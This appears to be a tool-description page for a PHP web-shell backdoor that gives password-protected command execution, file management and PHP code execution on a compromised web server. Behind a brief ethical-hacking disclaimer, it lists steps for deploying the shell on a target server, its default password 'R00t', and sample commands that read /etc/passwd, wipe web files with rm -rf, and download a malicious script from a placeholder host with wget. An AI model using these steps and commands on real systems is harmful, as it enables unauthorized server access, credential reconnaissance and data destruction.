A PHP backdoor script that provides password-protected remote access to execute commands, manage files, and run arbitrary PHP code on a compromised web server.
This article analyzes the PHP RootKit Backdoor, explaining its features like password-protected access, command execution, file management, and PHP code execution. Learn about the security risks associated with such scripts and how ethical hackers and security researchers study them to enhance web security.
This tool is primarily used by ethical hackers and security researchers to study the capabilities and risks of PHP rootkit backdoors for enhancing web security. It demonstrates how attackers can gain unauthorized control over web servers, enabling defenders to better detect and mitigate such threats.
This tool is inherently malicious and should only be used in controlled, ethical hacking environments for research and training. Unauthorized use is illegal and can cause severe damage. Immediate removal and stronger security measures are recommended if found on any system.
Upload the PHP script to a target web server directory
Access the script URL via a web browser
Enter the predefined password (R00t) to log inls -la
List directory contents with detailed information
cat /etc/passwd
View system user account information
rm -rf /var/www/html/*
Delete all web files in the specified directory (dangerous)
wget http://malicious.com/malware.php -O /tmp/m.php
Download a malicious script to the server
php -r "system('whoami');"
Check the current user permissions on the server